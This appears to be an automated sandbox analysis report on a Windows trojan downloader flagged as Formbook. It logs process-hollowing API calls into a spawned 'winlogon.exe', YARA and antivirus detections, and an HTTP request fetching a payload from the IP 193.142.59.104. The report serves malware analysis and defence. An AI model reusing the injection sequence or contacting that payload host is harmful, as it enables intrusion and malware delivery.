NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02090000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02260000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00462000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00495000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0049b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00497000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00570000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00486000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0048a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00487000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0048b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00571000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00572000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00573000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f5f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00574000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00575000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00576000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00577000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00578000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00579000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04990000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04991000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04992000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04993000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04994000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04995000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04996000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04997000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04998000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04999000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0499a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2800 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0499b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 20, 2022, 1:16 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 20, 2022, 1:16 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW May 20, 2022, 1:16 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	Used Formbook[m]	rule	Win_Trojan_Formbook_m_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

193.142.59.104

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2992 region_size: 172032 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000032c	1	0	0

Network communications indicative of possible code injection originated from the process winlogon.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send May 20, 2022, 1:16 p.m.	buffer: GET /swift/Ouqqekub_Lbtpkxss.bmp HTTP/1.1 Host: 193.142.59.104 Connection: Keep-Alive socket: 900 sent: 91	1	91	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory May 20, 2022, 1:16 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÈº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÖLQD·"D·"D·"_* ·"_¼G·"_¿E·"RichD·"PELV9à pÚ @ @.text ` base_address: 0x00400000 process_identifier: 2992 process_handle: 0x0000032c	1	1	0
WriteProcessMemory May 20, 2022, 1:16 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2992 process_handle: 0x0000032c	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory May 20, 2022, 1:16 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÈº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÖLQD·"D·"D·"_* ·"_¼G·"_¿E·"RichD·"PELV9à pÚ @ @.text ` base_address: 0x00400000 process_identifier: 2992 process_handle: 0x0000032c	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2800 called NtSetContextThread to modify thread in remote process 2992
NtSetContextThread May 20, 2022, 1:16 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4315760 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000210 process_identifier: 2992	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2800 resumed a thread in remote process 2992
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x00000210 suspend_count: 1 process_identifier: 2992	1	0	0

Generates some ICMP traffic

File has been identified by 25 AntiVirus engines on VirusTotal as malicious (25 events)

Bkav	W32.AIDetectNet.01
Lionic	Trojan.Win32.Generic.4!c
Sangfor	Suspicious.Win32.Save.a
Alibaba	Trojan:MSIL/Generic.b5ce264a
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/TrojanDownloader.Agent.LVV
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:DangerousObject.Multi.Generic
Avast	DropperX-gen [Drp]
McAfee-GW-Edition	BehavesLike.Win32.Generic.ch
FireEye	Generic.mg.738a9b03dcbc5bad
SentinelOne	Static AI - Suspicious PE
Avira	HEUR/AGEN.1248773
Kingsoft	Win32.Troj.Generic_a.a.(kcloud)
Microsoft	Trojan:Win32/Wacatac.B!ml
Cynet	Malicious (score: 100)
McAfee	Artemis!738A9B03DCBC
Malwarebytes	Malware.AI.3157264518
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/Agent.LVV!tr.dldr
BitDefenderTheta	Gen:NN.ZemsilF.34682.lm0@aWdGSp
AVG	DropperX-gen [Drp]
CrowdStrike	win/malicious_confidence_90% (W)

Executed a process and injected code into it, probably while unpacking (23 events)

Time & API	Arguments	Status	Return
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2800	1	0
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 2800	1	0
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 2800	1	0
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x00000340 suspend_count: 1 process_identifier: 2800	1	0
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x00000204 suspend_count: 1 process_identifier: 2800	1	0
NtGetContextThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000e4	1	0
NtGetContextThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000e4	1	0
NtGetContextThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000e4	1	0
NtSetContextThread May 20, 2022, 1:16 p.m.	registers.eip: 1928014724 registers.esp: 4517500 registers.edi: 36628604 registers.eax: 148934 registers.ebp: 4517528 registers.edx: 324449 registers.ebx: 56895360 registers.esi: 59398368 registers.ecx: 1927514946 thread_handle: 0x000000e4 process_identifier: 2800	1	0
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000e4 suspend_count: 1 process_identifier: 2800	1	0
NtGetContextThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000e4	1	0
NtGetContextThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000e4	1	0
NtGetContextThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000e4	1	0
NtSetContextThread May 20, 2022, 1:16 p.m.	registers.eip: 1928014724 registers.esp: 4517460 registers.edi: 191038 registers.eax: 53105440 registers.ebp: 4517488 registers.edx: 99225600 registers.ebx: 191039 registers.esi: 191038 registers.ecx: 115 thread_handle: 0x000000e4 process_identifier: 2800	1	0
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x000000e4 suspend_count: 1 process_identifier: 2800	1	0
CreateProcessInternalW May 20, 2022, 1:16 p.m.	thread_identifier: 2996 thread_handle: 0x00000210 process_identifier: 2992 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\winlogon.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000032c	1	1
NtGetContextThread May 20, 2022, 1:16 p.m.	thread_handle: 0x00000210	1	0
NtAllocateVirtualMemory May 20, 2022, 1:16 p.m.	process_identifier: 2992 region_size: 172032 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000032c	1	0
WriteProcessMemory May 20, 2022, 1:16 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÈº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÖLQD·"D·"D·"_* ·"_¼G·"_¿E·"RichD·"PELV9à pÚ @ @.text ` base_address: 0x00400000 process_identifier: 2992 process_handle: 0x0000032c	1	1
WriteProcessMemory May 20, 2022, 1:16 p.m.	buffer: base_address: 0x00401000 process_identifier: 2992 process_handle: 0x0000032c	1	1
WriteProcessMemory May 20, 2022, 1:16 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2992 process_handle: 0x0000032c	1	1
NtSetContextThread May 20, 2022, 1:16 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4315760 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000210 process_identifier: 2992	1	0
NtResumeThread May 20, 2022, 1:16 p.m.	thread_handle: 0x00000210 suspend_count: 1 process_identifier: 2992	1	0

winlogon.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All